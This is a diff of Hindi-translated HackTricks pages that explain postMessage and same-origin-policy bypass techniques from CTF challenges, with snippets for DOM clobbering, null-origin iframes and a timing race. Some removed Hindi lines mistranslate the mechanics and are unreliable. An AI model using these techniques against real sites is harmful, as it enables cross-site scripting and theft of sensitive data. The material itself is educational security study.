* **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में या **मुझे** ट्विटर पर **फॉलो** करें 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **अपने हैकिंग ट्रिक्स साझा करें,** [**hacktricks रेपो**](https://github.com/carlospolop/hacktricks) **और** [**hacktricks-cloud रेपो**](https://github.com/carlospolop/hacktricks-cloud) **पर PR जमा करके**
</details>
{% endhint %}

View file

@ -1,28 +1,31 @@
# वेब पेज को ब्लॉक करके postmessage चुराना
# Blocking main page to steal postmessage
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>के साथ जीरो से हीरो तक AWS हैकिंग सीखें</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
* क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी को HackTricks में विज्ञापित देखना चाहते हैं**? या क्या आपको **PEASS के नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने का एक्सेस चाहिए**? [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) की जाँच करें!
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
* [**आधिकारिक PEASS & HackTricks swag**](https://peass.creator-spring.com) प्राप्त करें
* **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या मुझे **ट्विटर** पर फॉलो करें 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **हैकिंग ट्रिक्स साझा करें, [hacktricks रेपो](https://github.com/carlospolop/hacktricks) और [hacktricks-cloud रेपो](https://github.com/carlospolop/hacktricks-cloud) में PRs सबमिट करके**.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Iframes के साथ RCs जीतना
## Winning RCs with Iframes
इस [**Terjanq writeup**](https://gist.github.com/terjanq/7c1a71b83db5e02253c218765f96a710) के अनुसार, नल उत्पत्तियों से बनाए गए ब्लॉब दुर्भाग्य से सुरक्षा लाभ के लिए अलग होते हैं, जिसका मतलब है कि यदि आप मुख्य पेज को व्यस्त रखते हैं, तो आईफ्रेम पेज को निष्क्रिय किया जाएगा।
इस [**Terjanq writeup**](https://gist.github.com/terjanq/7c1a71b83db5e02253c218765f96a710) के अनुसार, शून्य मूल से बनाए गए ब्लॉब दस्तावेज़ सुरक्षा लाभों के लिए अलग किए जाते हैं, जिसका अर्थ है कि यदि आप मुख्य पृष्ठ को व्यस्त रखते हैं, तो iframe पृष्ठ निष्पादित होगा।
मूल रूप से उस चुनौती में एक **अलग आईफ्रेम को निष्क्रिय किया जाता है** और **उसके बाद** जब यह **लोड होता है**, **मुख्य** पेज **एक पोस्ट** संदेश भेजेगा जिसमें **ध्वज** होगा।\
हालांकि, इस postmessage संचार में **XSS के लिए वंशावली** है (आईफ्रेम JS कोड को निष्क्रिय कर सकता है)।
बुनियादी रूप से, उस चुनौती में एक **अलग iframe निष्पादित होता है** और ठीक **बाद में** जब यह **लोड** होता है, तो **माता-पिता** पृष्ठ **एक पोस्ट** संदेश के साथ **झंडा** भेजने वाला है।\
हालांकि, वह पोस्टमैसेज संचार **XSS के लिए संवेदनशील है** (iframe JS कोड निष्पादित कर सकता है)।
इसलिए, हमले करने वाले का लक्ष्य है कि **मुख्य आईफ्रेम बनाए**, लेकिन **पहले** ही **मुख्य** पेज **संवेदनशील डेटा (ध्वज) भेजने से पहले** उसे **व्यस्त रखें** और **पेलोड आईफ्रेम को भेजें**। जब तक **मुख्य व्यस्त है**, **आईफ्रेम पेलोड को निष्क्रिय करेगा** जो कुछ JS होगा जो **मुख्य postmessage संदेश को सुनेगा और ध्वज लीक करेगा**।\
अंततः, आईफ्रेम ने पेलोड को निष्क्रिय किया है और मुख्य पेज व्यस्त होना बंद कर देता है, इसलिए वह ध्वज भेजता है और पेलोड इसे लीक करता है।
इसलिए, हमलावर का लक्ष्य है कि **माता-पिता को iframe बनाने दें**, लेकिन **पहले** माता-पिता पृष्ठ **संवेदनशील डेटा** (**झंडा**) **भेजने से पहले** इसे **व्यस्त** रखें और **पेलोड को iframe में भेजें**। जबकि **माता-पिता व्यस्त हैं**, **iframe पेलोड को निष्पादित करता है** जो कुछ JS होगा जो **माता-पिता के पोस्टमैसेज संदेश को सुनता है और झंडा लीक करता है**।\
अंत में, iframe ने पेलोड को निष्पादित किया और माता-पिता का पृष्ठ व्यस्त रहना बंद कर देता है, इसलिए यह झंडा भेजता है और पेलोड इसे लीक करता है।
लेकिन कैसे आप मुख्य को **व्यस्त बना सकते हैं उसके बाद जब यह आईफ्रेम उत्पन्न करता है और केवल जब यह आईफ्रेम तैयार होने का इंतजार कर रहा है ताकि संवेदनशील डेटा भेज सके?** मूल रूप से, आपको एक **असिंक** **क्रिया** ढूंढनी होगी जिसे आप मुख्य **निष्पादित** कर सकते हैं। उदाहरण के लिए, उस चुनौती में मुख्य **postmessages** को इस तरह सुन रहा था:
लेकिन आप माता-पिता को **व्यस्त कैसे रख सकते हैं जब उसने iframe उत्पन्न किया और बस जब वह संवेदनशील डेटा भेजने के लिए iframe के तैयार होने की प्रतीक्षा कर रहा है?** बुनियादी रूप से, आपको **ऐसी असिंक्रोनस क्रिया** खोजने की आवश्यकता है जिसे आप माता-पिता को **निष्पादित** करने के लिए बना सकें। उदाहरण के लिए, उस चुनौती में माता-पिता **इस तरह के पोस्टमैसेज** सुन रहा था:
```javascript
window.addEventListener('message', (e) => {
if (e.data == 'blob loaded') {
@ -30,9 +33,24 @@ $("#previewModal").modal();
}
});
```
इसलिए एक **बड़ा पूर्णांक postmessage में भेजना संभव था** जो उस तुलना में **स्ट्रिंग में परिवर्तित** होगा, जिससे कुछ समय लगेगा:
इसलिए एक **बड़ा पूर्णांक पोस्टमैसेज में भेजना संभव था** जो उस तुलना में **स्ट्रिंग में परिवर्तित होगा**, जिसमें कुछ समय लगेगा:
```bash
const buffer = new Uint8Array(1e7);
win?.postMessage(buffer, '*', [buffer.buffer]);
```
और सटीक होने के लिए और **postmessage** को **भेजने** के लिए बस **iframe** बनाया गया है लेकिन यह **पेयरेंट** से डेटा प्राप्त करने के लिए **तैयार** नहीं है, तो आपको **`setTimeout`** के मिलीसेकंड के साथ **खेलने** की आवश्यकता होगी।
और सटीकता से **postmessage** को **iframe** के बनने के **बाद** लेकिन **parent** से डेटा प्राप्त करने के लिए **तैयार** होने से **पहले** भेजने के लिए, आपको `setTimeout` के **मिलीसेकंड** के साथ **खेलना** होगा।
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,20 +1,23 @@
# Iframes में SOP को छलकरता - 1
# Bypassing SOP with Iframes - 1
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
* क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी को HackTricks में विज्ञापित** देखना चाहते हैं? या क्या आपको **PEASS के नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने का एक्सेस** चाहिए? [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) की जाँच करें!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह
* [**आधिकारिक PEASS और HackTricks swag**](https://peass.creator-spring.com) प्राप्त करें
* **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या **मुझे** **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)** पर फॉलो** करें।
* **अपने हैकिंग ट्रिक्स साझा करें, [hacktricks रेपो](https://github.com/carlospolop/hacktricks) और [hacktricks-cloud रेपो](https://github.com/carlospolop/hacktricks-cloud) में PR जमा करके**
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## SOP-1 में Iframes
## Iframes in SOP-1
इस [**चुनौती**](https://github.com/terjanq/same-origin-xss) ो [**NDevTK**](https://github.com/NDevTK) और [**Terjanq**](https://github.com/terjanq) द्वारा बनाई गई में आपको कोड में XSS का शोध करना होगा।
इस [**चुनौती**](https://github.com/terjanq/same-origin-xss) में जो [**NDevTK**](https://github.com/NDevTK) और [**Terjanq**](https://github.com/terjanq) द्वारा बनाई गई है, आपको कोड में XSS का लाभ उठाना है
```javascript
const identifier = '4a600cd2d4f9aa1cfb5aa786';
onmessage = e => {
@ -25,26 +28,26 @@ renderContainer.innerHTML = data.body;
}
}
```
मुख्य समस्या यह है कि [**मुख्य पृष्ठ**](https://so-xss.terjanq.me) DomPurify का उपयोग `data.body` भेजने के लिए करता है, इसलिए उस कोड को अपने खुद के html डेटा भेजने के लिए आपको `e.origin !== window.origin` को **बायपास** करना होगा।
The main problem is that the [**main page**](https://so-xss.terjanq.me) uses DomPurify to send the `data.body`, so in order to send your own html data to that code you need to **bypass** `e.origin !== window.origin`.
चलो, उन्होंने जो समाधान सुझाया है, उसे देखते हैं।
Let's see the solution they propose.
### SOP बायपास 1 (e.origin === null)
### SOP bypass 1 (e.origin === null)
जब `//example.org` को **sandboxed iframe** में समाहित किया जाता है, तो पृष्ठ का **मूल** **उत्पत्ति** **`null`** होगा, अर्थात **`window.origin === null`** होगा। इसलिए, `<iframe sandbox="allow-scripts" src="https://so-xss.terjanq.me/iframe.php">` के माध्यम से iframe समाहित करके हम **`null` उत्पत्ति** को **बलपूर्वक कर सकते हैं**
जब `//example.org` को एक **sandboxed iframe** में एम्बेड किया जाता है, तो पृष्ठ का **origin** **`null`** होगा, यानी **`window.origin === null`**। इसलिए `<iframe sandbox="allow-scripts" src="https://so-xss.terjanq.me/iframe.php">` के माध्यम से iframe को एम्बेड करके हम **`null` origin** को **force** कर सकते हैं
अगर पृष्ठ **embeddable** होता तो आप उस सुरक्षा को उस तरीके से **बायपास** कर सकते थे (कुकीज भी `SameSite=None` पर सेट की जानी चाहिए)।
यदि पृष्ठ **embeddable** होता, तो आप उस सुरक्षा को इस तरह से बायपास कर सकते थे (कुकीज़ को भी `SameSite=None` पर सेट करने की आवश्यकता हो सकती है)।
### SOP बायपास 2 (window.origin === null)
### SOP bypass 2 (window.origin === null)
कम जाना जानकारी है कि जब **sandbox मान `allow-popups` सेट किया जाता है** तो **खुला popup** सभी **sandboxed गुण** को **वारिस्त** करेगा जब तक `allow-popups-to-escape-sandbox` सेट नहीं है।\
इसलिए, **null उत्पत्ति** से **popup** खोलना **`window.origin`** को पॉपअप के अंदर भी **`null`** बना देगा।
कम ज्ञात तथ्य यह है कि जब **sandbox value `allow-popups` सेट** किया जाता है, तो **खुला हुआ पॉपअप** सभी **sandboxed attributes** को **inherit** करेगा जब तक कि `allow-popups-to-escape-sandbox` सेट न किया जाए।\
इसलिए, **null origin** से एक **popup** खोलने पर पॉपअप के अंदर **`window.origin`** भी **`null`** होगा।
### चुनौती समाधान
### Challenge Solution
इसलिए, इस चुनौती के लिए, कोई भी **iframe** बना सकता है, **पॉपअप खोल** सकता है वह पृष्ठ जिसमें वंलरेबल XSS कोड हैंडलर (`/iframe.php`) के लिए, क्योंकि `window.origin === e.origin` क्योंकि दोनों `null` हैं, इससे **XSS का शोषण करने वाला payload भेजना संभव है**।
इसलिए, इस चुनौती के लिए, कोई **iframe** **create** कर सकता है, **एक पॉपअप** को उस पृष्ठ पर खोल सकता है जिसमें कमजोर XSS कोड हैंडलर (`/iframe.php`) है, क्योंकि `window.origin === e.origin` क्योंकि दोनों `null` हैं, यह संभव है कि **एक payload भेजा जाए जो XSS का शोषण करेगा**।
वह **payload** **पहचानकर्ता** प्राप्त करेगा और एक **XSS** को **वापस शीर्ष पृष्ठ** (पॉपअप खोलने वाला पृष्ठ) पर भेजेगा, **जिसे** **स्थान** को **विकल्प** करेगा **वंलरेबल** `/iframe.php` पर। क्योंकि पहचानकर्ता जाना जाता है, इसलिए यह मायने नहीं रखता कि शर्त `window.origin === e.origin` पूरी नहीं होती है (ध्यान दें, मूल है **popup** जो iframe से **उत्पत्ति** **`null`** है) क्योंकि `data.identifier === identifier`। फिर, **XSS फिर से ट्रिगर होगा**, इस बार सही उत्पत्ति में।
वह **payload** **identifier** प्राप्त करेगा और **XSS** को **ऊपर के पृष्ठ** (पृष्ठ जो पॉपअप खोलता है) पर **वापस भेजेगा**, **जो** **स्थान** को **कमजोर** `/iframe.php` पर **बदल देगा**। चूंकि पहचानकर्ता ज्ञात है, इसलिए यह मायने नहीं रखता कि शर्त `window.origin === e.origin` संतुष्ट नहीं है (याद रखें, origin वह **popup** है जो iframe से **origin** **`null`** है) क्योंकि `data.identifier === identifier`। फिर, **XSS फिर से ट्रिगर होगा**, इस बार सही origin में।
```html
<body>
<script>
@ -79,14 +82,17 @@ document.body.appendChild(f);
</script>
</body>
```
{% hint style="success" %}
सीखें और AWS हैकिंग का अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
सीखें और GCP हैकिंग का अभ्यास करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>HackTricks का समर्थन करें</summary>
* क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी को HackTricks में विज्ञापित देखना चाहते हैं**? या क्या आप **PEASS के नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करना चाहते हैं**? [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) की जाँच करें!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या **मुझे** **Twitter** पर फॉलो करें 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **अपने हैकिंग ट्रिक्स साझा करें, [hacktricks रेपो](https://github.com/carlospolop/hacktricks) और [hacktricks-cloud रेपो](https://github.com/carlospolop/hacktricks-cloud) पर PR जमा करके**
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
* **हमारे साथ जुड़ें** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या **हमें** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो करें।**
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।
</details>
{% endhint %}

View file

@ -1,32 +1,35 @@
# आईफ्रेम्स के साथ SOP को बाइपास करना - 2
# Bypassing SOP with Iframes - 2
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
* क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी का हैकट्रिक्स में विज्ञापन देखना चाहते हैं**? या क्या आपको **PEASS के नवीनतम संस्करण या हैकट्रिक्स को पीडीएफ में डाउनलोड करने का एक्सेस चाहिए**? [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) की जाँच करें!
* [**दी पीएस फैमिली**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**एनएफटीज**](https://opensea.io/collection/the-peass-family) संग्रह।
* [**आधिकारिक पीएस और हैकट्रिक्स स्वैग**](https://peass.creator-spring.com) प्राप्त करें।
* **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**डिस्कॉर्ड ग्रुप**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम ग्रुप**](https://t.me/peass) और **ट्विटर** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)** को** **फॉलो** करें।
* **अपने हैकिंग ट्रिक्स साझा करें, [हैकट्रिक्स रेपो](https://github.com/carlospolop/hacktricks) और [हैकट्रिक्स-क्लाउड रेपो](https://github.com/carlospolop/hacktricks-cloud) में पीआर जमा करके**
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## SOP-2 में आईफ्रेम्स
## Iframes in SOP-2
इस [**चुनौती**](https://github.com/project-sekai-ctf/sekaictf-2022/tree/main/web/obligatory-calc) के [**समाधान**](https://github.com/project-sekai-ctf/sekaictf-2022/tree/main/web/obligatory-calc) में, [**@Strellic\_**](https://twitter.com/Strellic\_) पिछले खंड की एक समान विधि का प्रस्ताव देते हैं। चलिए इसे जांचते हैं।
In the [**solution**](https://github.com/project-sekai-ctf/sekaictf-2022/tree/main/web/obligatory-calc/solution) for this [**challenge**](https://github.com/project-sekai-ctf/sekaictf-2022/tree/main/web/obligatory-calc)**,** [**@Strellic\_**](https://twitter.com/Strellic\_) पिछले अनुभाग के समान एक विधि का प्रस्ताव करता है। चलो इसे देखते हैं।
इस चुनौती में हमें अटकना है:
इस चुनौती में हमलावर को **bypass** करना है:
```javascript
if (e.source == window.calc.contentWindow && e.data.token == window.token) {
```
अगर वह ऐसा करता है, तो वह **postmessage** भेज सकता है जिसमें HTML सामग्री होगी जो **`innerHTML`** के साथ लिखी जाएगी बिना सेनिटेशन के (**XSS**).
यदि वह ऐसा करता है, तो वह एक **postmessage** भेज सकता है जिसमें HTML सामग्री होगी जो **`innerHTML`** के साथ पृष्ठ में लिखी जाएगी बिना किसी सफाई के (**XSS**).
**पहली जाँच** को छलकरने का तरीका यह है कि **`window.calc.contentWindow`** को **`undefined`** और **`e.source`** को **`null`** बनाना:
**पहली जांच** को बायपास करने का तरीका है **`window.calc.contentWindow`** को **`undefined`** और **`e.source`** को **`null`** बनाना:
* **`window.calc.contentWindow`** वास्तव में **`document.getElementById("calc")`** है। आप **`document.getElementById`** को **`<img name=getElementById />`** के साथ लपेट सकते हैं (ध्यान दें कि Sanitizer API -[यहाँ](https://wicg.github.io/sanitizer-api/#dom-clobbering)- DOM clobbering हमलों के खिलाफ सुरक्षा उपाय को डिफ़ॉल्ट स्थिति में संरचित नहीं किया गया है)।
* इसलिए, आप **`document.getElementById("calc")`** को **`<img name=getElementById /><div id=calc></div>`** के साथ लपेट सकते हैं। फिर, **`window.calc`** **`undefined`** हो जाएगा।
* अब, हमें **`e.source`** को **`undefined`** या **`null`** होने की आवश्यकता है (क्योंकि `==` का उपयोग `===` के बजाय किया जाता है, **`null == undefined`** **`True`** है)। इसे प्राप्त करना "आसान" है। यदि आप एक **iframe** बनाते हैं और उससे **postMessage** भेजते हैं और तुरंत **remove** कर देते हैं, तो **`e.origin`** **`null`** हो जाएगा। निम्नलिखित कोड की जाँच करें
* **`window.calc.contentWindow`** वास्तव में **`document.getElementById("calc")`** है। आप **`document.getElementById`** को **`<img name=getElementById />`** के साथ क्लॉबर कर सकते हैं (ध्यान दें कि Sanitizer API -[यहाँ](https://wicg.github.io/sanitizer-api/#dom-clobbering)- अपने डिफ़ॉल्ट स्थिति में DOM क्लॉबरिंग हमलों से सुरक्षा के लिए कॉन्फ़िगर नहीं की गई है)।
* इसलिए, आप **`document.getElementById("calc")`** को **`<img name=getElementById /><div id=calc></div>`** के साथ क्लॉबर कर सकते हैं। फिर, **`window.calc`** **`undefined`** होगा।
* अब, हमें **`e.source`** को **`undefined`** या **`null`** होना चाहिए (क्योंकि `==` का उपयोग किया गया है `===` के बजाय, **`null == undefined`** **`True`** है)। इसे प्राप्त करना "आसान" है। यदि आप एक **iframe** बनाते हैं और इससे एक **postMessage** भेजते हैं और तुरंत **iframe** को **हटाते** हैं, तो **`e.origin`** **`null`** होगा। निम्नलिखित कोड देखें
```javascript
let iframe = document.createElement('iframe');
document.body.appendChild(iframe);
@ -35,12 +38,12 @@ await new Promise(r => setTimeout(r, 2000)); // wait for page to load
iframe.contentWindow.eval(`window.parent.target.postMessage("A", "*")`);
document.body.removeChild(iframe); //e.origin === null
```
दूसरी जाँच को छलकरने के लिए **`token`** को मान `null` के साथ भेजकर और **`window.token`** को मान **`undefined`** करके:
टोकन के बारे में **दूसरी जांच** को बायपास करने के लिए **`token`** को मान `null` के साथ भेजना और **`window.token`** का मान **`undefined`** बनाना है:
* **`token`** को मान `null` के साथ postMessage भेजना सरल है।
* **`window.token`** **`document.cookie`** का उपयोग करने वाले **`getCookie`** फ़ंक्शन को कॉल करना है। ध्यान दें कि **`null`** मूल स्थान पृष्ठों में **`document.cookie`** तक पहुँच किसी **त्रुटि** को ट्रिगर करेगा। इससे **`window.token`** का मान **`undefined`** हो जाएगा।
* मान `null` के साथ postMessage में `token` भेजना तुच्छ है।
* **`window.token`** को कॉल करते समय **`getCookie`** जो **`document.cookie`** का उपयोग करता है। ध्यान दें कि **`null`** मूल पृष्ठों में **`document.cookie`** तक किसी भी पहुंच से **त्रुटि** उत्पन्न होती है। इससे **`window.token`** का मान **`undefined`** हो जाएगा।
[**@terjanq**](https://twitter.com/terjanq) द्वारा अंतिम समाधान [**निम्नलिखित**](https://gist.github.com/terjanq/0bc49a8ef52b0e896fca1ceb6ca6b00e#file-calc-html) है:
अंतिम समाधान [**@terjanq**](https://twitter.com/terjanq) द्वारा [**निम्नलिखित**](https://gist.github.com/terjanq/0bc49a8ef52b0e896fca1ceb6ca6b00e#file-calc-html) है:
```html
<html>
<body>
@ -76,14 +79,17 @@ setTimeout(start, 1000);
</body>
</html>
```
{% hint style="success" %}
सीखें और AWS हैकिंग का अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
सीखें और GCP हैकिंग का अभ्यास करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>HackTricks का समर्थन करें</summary>
* क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी का हैकट्रिक्स में विज्ञापित करना चाहते हैं**? या क्या आप **PEASS के नवीनतम संस्करण देखना चाहते हैं या HackTricks को PDF में डाउनलोड करना चाहते हैं**? [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) की जाँच करें!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह
* [**आधिकारिक PEASS & HackTricks swag**](https://peass.creator-spring.com) प्राप्त करें
* **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में या **मुझे** **Twitter** पर फॉलो करें 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **अपने हैकिंग ट्रिक्स साझा करें, [hacktricks रेपो](https://github.com/carlospolop/hacktricks) और [hacktricks-cloud रेपो](https://github.com/carlospolop/hacktricks-cloud) में PR जमा करके**
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **हमें** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो करें।**
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PRs सबमिट करें।
</details>
{% endhint %}

View file

@ -1,24 +1,27 @@
# आईफ्रेम के स्थान को बदलना
# Steal postmessage modifying iframe location
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong> के साथ जीरो से हीरो तक AWS हैकिंग सीखें!</summary>
<summary>Support HackTricks</summary>
